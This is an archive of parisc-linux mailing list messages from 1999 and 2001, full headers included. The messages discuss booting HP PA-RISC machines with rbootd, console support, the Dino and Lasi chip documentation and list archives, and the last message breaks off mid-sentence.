Original-Received: (qmail 30768 invoked from network); 30 Jan 2001 14:02:37 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 14:02:37 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14NbMN-00016Z-00; Tue, 30 Jan 2001 14:02:15 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101301048.VAA30747@customware.com.au>; from penfold@customware.com.au on Tue, Jan 30, 2001 at 09:48:18PM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9462

On Tue, Jan 30, 2001 at 09:48:18PM +1100, penfold@customware.com.au wrote:
> after much trawling of the list archive and altavista I was able to get rbootd
> to at least boot the kernel on a 720.
> CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz

great.

> Given that finding this was not easy, how can we the patched source .tar.gz
> available more easily on parisc-linux.org or puffin.external.hp.com ?

ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/

> I _really_ hope its not somewhere obvious and I am just a nuff-nuff.

*shrug*.  anyone want to do something with the parisc-linux booting
howto that's at oswg.org?

> Also, Is there anyway to hard boot this machine form the serial port when
> a HPMC has happened?
> (eg, control sequence).

i doubt it.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] question
Date: Tue, 30 Jan 2001 14:03:34 +0000
Lines: 8
Approved: news@gmane.org
Message-ID: <20010130140334.C3093@parcelfarce.linux.theplanet.co.uk>
References: <EBDA1CDB5860D31186FB009027541A92034964FC@vermeer.neth.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619615 11551 80.91.229.3 (22 Nov 2014 01:26:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:55 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "WITTERT,REYNDERT \(Non-HP-Netherlands,ex1\)" <reyndert_wittert@non.hp.com>
Original-X-From: willy@www.linux.org.uk  Tue Jan 30 06:59:37 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA04529
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 06:59:37 -0700
Original-Received: (qmail 32082 invoked by uid 15267); 30 Jan 2001 14:03:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32063 invoked from network); 30 Jan 2001 14:03:39 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 14:03:39 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14NbNe-00017u-00; Tue, 30 Jan 2001 14:03:34 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <EBDA1CDB5860D31186FB009027541A92034964FC@vermeer.neth.hp.com>; from reyndert_wittert@non.hp.com on Tue, Jan 30, 2001 at 11:05:58AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9463

On Tue, Jan 30, 2001 at 11:05:58AM +0100, WITTERT,REYNDERT (Non-HP-Netherlands,ex1) wrote:
> Is there some alternative for ioscan in linux?

Not yet.  How to do it is being discussed.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _working_ rbootd for redhat
Date: Tue, 30 Jan 2001 15:28:50 +0100
Organization: AAA
Lines: 56
Approved: news@gmane.org
Message-ID: <3A76CFA2.C1E5A2EC@alcatel.at>
References: <200101301048.VAA30747@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619616 11554 80.91.229.3 (22 Nov 2014 01:26:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: penfold@customware.com.au
Original-X-From: christoph.plattner@alcatel.at  Tue Jan 30 07:25:13 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA05373
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 07:25:13 -0700
Original-Received: (qmail 1791 invoked by uid 15267); 30 Jan 2001 14:29:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1758 invoked from network); 30 Jan 2001 14:29:15 -0000
Original-Received: from atusks01.alcatel.at (HELO mail.alcatel.at) (212.183.9.130)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 14:29:15 -0000
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id PAA09630;
	Tue, 30 Jan 2001 15:28:54 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9464

Hello !

I also have a 720 (9000/720, with 50Mhz) and I often thought
about the idea of using rbootd.

Can you give me some hints, what you have done (what steps)
(I also have RedHat !).

What to do on the 720 machine (with `path lan0.....' I think),
wnat to do on the host, and how to prepare the linux boot image 
(lifimage) ?

By the way, have you booted linux now ?
I had the problem with the trap 18 (perhaps you saw it)
on the 720. It could be fixed by adding the `case 18:'
to that case (15,26, etc), and suddenly the 720 was working !!

With friendly regards

	Christoph Plattner



penfold@customware.com.au wrote:
> 
> Hi all,
> 
> First up, thanks all - I love your work.
> 
> after much trawling of the list archive and altavista I was able to get rbootd
> to at least boot the kernel on a 720.
> CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz
> 
> Given that finding this was not easy, how can we the patched source .tar.gz
> available more easily on parisc-linux.org or puffin.external.hp.com ?
> 
> I _really_ hope its not somewhere obvious and I am just a nuff-nuff.
> 
> Also, Is there anyway to hard boot this machine form the serial port when
> a HPMC has happened?
> (eg, control sequence).
> 
> thanks,
> Damian
> penfold@customware.com.au
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] list archives
Date: Fri, 4 Jun 1999 10:17:07 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <199906041417.KAA22538@hiauly1.hia.nrc.ca>
References: <19990603212314.A2173@master.debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619616 11557 80.91.229.3 (22 Nov 2014 01:26:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: justin@master.debian.org (Justin Maurer)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jun  4 08:17:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA16081
	for <parisc-linux@puffin.external.hp.com>; Fri, 4 Jun 1999 08:17:13 -0600
Original-Received: (qmail 10909 invoked by uid 15267); 4 Jun 1999 14:17:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10902 invoked from network); 4 Jun 1999 14:17:04 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 4 Jun 1999 14:17:04 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id KAA22538;
	Fri, 4 Jun 1999 10:17:07 -0400 (EDT)
In-Reply-To: <19990603212314.A2173@master.debian.org> from "Justin Maurer" at Jun 3, 99 09:23:14 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9465

Good idea.  It would be great if the list could be browsed with
netscape, etc.

Dave

> 
> just curious - 
> 	are there archives of this mailing list available? i really think	they'd be useful, even if the list is fairly light on traffic at the moment.
> 
> thanks,
> justin
> 
> -- 
> -------------------------------------------------------------
> # Justin Maurer                                GNOME Hacker #
> # justin@debian.org                         Slashdot Author #
> # http://slashdot.org/           Debian GNU/Linux Developer #
> #     09 84 FC 03 13 AA 4A AF  F6 A4 85 9D 8C 96 B6 A4      #
> -------------------------------------------------------------
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Server E55 (9000/856) - PDC console
Date: Tue, 30 Jan 2001 16:20:53 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <01013016205400.01014@P100.helgenet.de>
References: <3A76C938.E2E13D2B@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619616 11560 80.91.229.3 (22 Nov 2014 01:26:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:56 +0000 (UTC)
Cc: christoph.plattner@dot.at
To: Christoph Plattner <christoph.plattner@alcatel.at>,
        parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Tue Jan 30 08:16:09 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA06144
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 08:16:08 -0700
Original-Received: (qmail 14282 invoked by uid 15267); 30 Jan 2001 15:20:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14166 invoked from network); 30 Jan 2001 15:20:08 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 15:20:08 -0000
Original-Received: (qmail 13912 invoked by uid 0); 30 Jan 2001 15:19:20 -0000
Original-Received: from unknown (HELO P100.helgenet.de) (217.4.3.234)
  by mail.gmx.net (mail01) with SMTP; 30 Jan 2001 15:19:20 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <3A76C938.E2E13D2B@alcatel.at>
Xref: news.gmane.org gmane.linux.ports.parisc:9466

On Tuesday 30 January 2001 15:01, Christoph Plattner wrote:
> Hello PA-RISC GURUS !
>
> * Is it possible to use the PDC console as system console ?

The PDC-interface misses a function to get interrupts when a key was pressed. 
To get around that problem you would need to poll the whole time, which would 
result in a *very* bad performance.
Instead of using the PDC-console it is much better to get the STI console 
working. I've already begun to rewrite the current STI code from prumpf, 
which you can find under /drivers/video/sti/*.
Currently both - the new and the old STI code - is broken and unfunctional, 
but I will continue to work on it as far as time permits.

Greetings,

	Helge.


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Server E55 (9000/856) - PDC console
Date: Tue, 30 Jan 2001 09:28:20 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <200101301728.JAA27426@milano.cup.hp.com>
References: <01013016205400.01014@P100.helgenet.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619617 11564 80.91.229.3 (22 Nov 2014 01:26:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:57 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@alcatel.at>,
        parisc-linux@thepuffingroup.com
To: Helge Deller <deller@gmx.de>
Original-X-From: grundler@cup.hp.com  Tue Jan 30 10:23:48 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA08337
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 10:23:46 -0700
Original-Received: (qmail 17404 invoked by uid 15267); 30 Jan 2001 17:27:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17386 invoked from network); 30 Jan 2001 17:27:46 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 17:27:46 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id E4A172C7C; Tue, 30 Jan 2001 09:26:06 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA27426;
	Tue, 30 Jan 2001 09:28:21 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 30 Jan 2001 16:20:53 PST."
             <01013016205400.01014@P100.helgenet.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9467

Helge Deller wrote:

> Instead of using the PDC-console it is much better to get the STI console 
> working.

I highly doubt the E55 (and similar servers) have STI.
And I'm not sure HP ever made an HP-PB graphics device - just
not enough bandwdith on HP-PB to make it useful.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP PA-Risc with Linux
Date: Tue, 30 Jan 2001 10:37:33 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <E14Neij-0002Hj-00@noam.fc.hp.com>
References: <OE562shoxt8ypSqdrrn0000148a@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619617 11567 80.91.229.3 (22 Nov 2014 01:26:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Carlos Acevedo" <carlos_a_acevedo@hotmail.com>
Original-X-From: bame@fc.hp.com  Tue Jan 30 10:33:39 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA08843
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 10:33:37 -0700
Original-Received: (qmail 3676 invoked by uid 15267); 30 Jan 2001 17:37:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3664 invoked from network); 30 Jan 2001 17:37:35 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 17:37:35 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 71685C60; Tue, 30 Jan 2001 12:37:34 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id KAA24523;
	Tue, 30 Jan 2001 10:37:33 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14Neij-0002Hj-00; Tue, 30 Jan 2001 10:37:33 -0700
In-Reply-To: Your message of "Mon, 29 Jan 2001 14:22:54 MST."
             <OE562shoxt8ypSqdrrn0000148a@hotmail.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9468


Carlos, I've forwarded your e-mail to our mailing list since I'm not
the expert on 715 hardware.  You might also want to read through the
FAQ and other things on our web site, www.parisc-linux.org.

The CD is pretty old and I suspect you'll have better luck with a
newer kernel.  We are planning to produce a "0.6" ISO image Real
Soon Now (tm).  Alternatively you can get a newer kernel
from puffin.external.hp.com and boot from that kernel using either
a bootp server to serve it to the 715, or DAT tape if you happen
to have that.  Use the Linux kernel command line to indicate the
0.5 CD is its root (root=/dev/scd0).

= I Have some problems installing Linux, hope you have a couple of minutes =
= to give a hand.
= 
= I have a Apollo 715/75 and I would like to install Linux in it. What I =
= have done so far is:
= downloaded "palinux-0.5.iso.gz"
= create a CD using Adaptec CD Creator (on a PC)
= 
= I tried to boot from the CD rom and evrething seems to start ok, bu =
= right after detecting the Scorpio Sr. hardware I get a Stack dump and =
= the workstation doesn't do anything else.
= 
= thanks in advance
= 
= Regards
= 
= Carlos Acevedo
= Computer Modelling Group


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] question
Date: Tue, 30 Jan 2001 10:05:32 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <200101301805.KAA27525@milano.cup.hp.com>
References: <EBDA1CDB5860D31186FB009027541A92034964FC@vermeer.neth.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619617 11573 80.91.229.3 (22 Nov 2014 01:26:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:57 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "WITTERT,REYNDERT \(Non-HP-Netherlands,     ex1\)" <reyndert_wittert@non.hp.com>
Original-X-From: grundler@cup.hp.com  Tue Jan 30 10:59:30 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA09493
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 10:59:30 -0700
Original-Received: (qmail 18697 invoked by uid 15267); 30 Jan 2001 18:03:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18685 invoked from network); 30 Jan 2001 18:03:27 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 18:03:27 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 100DE12BD
	for <parisc-linux@thepuffingroup.com>; Tue, 30 Jan 2001 10:03:27 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA27525;
	Tue, 30 Jan 2001 10:05:34 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 30 Jan 2001 11:05:58 PST."
             <EBDA1CDB5860D31186FB009027541A92034964FC@vermeer.neth.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9469

"WITTERT,REYNDERT (Non-HP-Netherlands,ex1)" wrote:
> Is there some alternative for ioscan in linux?

For linux, in HP, I think there is.
Read the in-house linux news group archives or search
for "ioscan linux" on HP's intranet.

There is dicussion about how to "do it right" for parisc-linux.
But don't expect anything in the next month or two to come out
of those discussions.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253


From - Thu Nov 08 21:15:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] list archives
Date: Fri, 4 Jun 1999 11:20:12 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <19990604112012.A28740@thepuffingroup.com>
References: <19990603212314.A2173@master.debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619618 11834 80.91.229.3 (22 Nov 2014 01:26:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Justin Maurer <justin@master.debian.org>
Original-X-From: pschwan@linux.hypnotic.org  Fri Jun  4 09:20:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA16283
	for <parisc-linux@puffin.external.hp.com>; Fri, 4 Jun 1999 09:20:20 -0600
Original-Received: (qmail 21131 invoked by uid 15267); 4 Jun 1999 15:20:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21123 invoked from network); 4 Jun 1999 15:20:10 -0000
Original-Received: from covad-sdsl-24.cais.net (HELO linux.hypnotic.org) (pschwan@209.8.211.24)
  by mailserv2.iuinc.com with SMTP; 4 Jun 1999 15:20:10 -0000
Original-Received: (from pschwan@localhost)
	by linux.hypnotic.org (8.9.3/8.9.3/Debian/GNU) id LAA28754;
	Fri, 4 Jun 1999 11:20:12 -0400
X-Mailer: Mutt 0.95.4i
In-Reply-To: <19990603212314.A2173@master.debian.org>; from Justin Maurer on Thu, Jun 03, 1999 at 09:23:14PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9470

On Jun 03, Justin Maurer wrote:
> 	are there archives of this mailing list available? i really think	they'd be useful, even if the list is fairly light on traffic at the moment.

Not quite--they're ready to go, I just need to touch base with Chris
and make sure that we agree on where to hang them off the web page,
and stuff like that.  I'll see about getting that done this weekend.

-Phil


From - Thu Nov 08 21:15:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Lasi and Dino documentation!
Date: Fri, 04 Jun 1999 08:54:37 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <199906041554.IAA15155@milano.cup.hp.com>
References: <Pine.LNX.3.96.990604000644.16726A-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619618 11837 80.91.229.3 (22 Nov 2014 01:26:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Jun  4 09:59:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA16465
	for <parisc-linux@puffin.external.hp.com>; Fri, 4 Jun 1999 09:59:28 -0600
Original-Received: (qmail 29266 invoked by uid 15267); 4 Jun 1999 15:59:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29259 invoked from network); 4 Jun 1999 15:59:13 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 4 Jun 1999 15:59:13 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.13.185.124])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA01174
	for <parisc-linux@thepuffingroup.com>; Fri, 4 Jun 1999 11:58:54 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id IAA15155 for <parisc-linux@thepuffingroup.com>; Fri, 4 Jun 1999 08:54:42 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 04 Jun 1999 00:15:40 PDT."
             <Pine.LNX.3.96.990604000644.16726A-100000@devserv.devel.redhat.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9471

Alex deVries wrote:
> 
> I'm very happy to announce HP's release of the two pricipal device
> controller chips inside the A180C, Dino and Lasi. 

Alright! (now I can talk about them!)

> Dino is the GSC to PCI bridge found on the A180C,

Also found on B, C, and J-class machines.
Newer B/C  (eg C200+) class have built-in PCI LAN/SCSI below GSCtoPCI.
So support is required to boot from built-in devices.

Also found on several networking HSC cards. Aka "Card-mode Dino".
Can be found in D, K and T-class. (eg. Dual Port HSC 100BT)

I'm very familiar with how this chip works and will try
to answer questions in my spare time.

grant

>Lasi is the
> SCSI/Lan/Parallel/Serial/RTC/PS2/floppy controller that's also found in
> the 712.
> You can find links for them on our documentation page,
>
> http://www.thepuffingroup.com/parisc/documentation.html.
> 
> I've only scanned the docs, but they look quite complete at this point.
> 
> A big fat thanks is owed to John Sontag and all the others from HP who
> worked to get this documentation released. Releasing documentation that
> until now has been privately held is more proof that HP is committed to
> helping us with this port.
> 
> - alex
> 
> -- 
> Alex deVries <puffin@redhat.com>     
> Red Hat Contrib Net maintainer          
> Ottawa, Canada  
> PA RISC Linux Porting Team
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:15:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] making a bootable image
Date: Wed, 9 Jun 1999 14:39:23 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990609143718.25825A-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619618 11839 80.91.229.3 (22 Nov 2014 01:26:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Wed Jun  9 12:39:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA23044
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 12:39:29 -0600
Original-Received: (qmail 10028 invoked by uid 15267); 9 Jun 1999 18:39:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10021 invoked from network); 9 Jun 1999 18:39:01 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 18:39:01 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id OAA30471
	for <parisc-linux@thepuffingroup.com>; Wed, 9 Jun 1999 14:39:23 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:9472


I've committed my changes which basically fix up the kernel so you can
build it with 'make bootable', and the bootstrap code will be setup
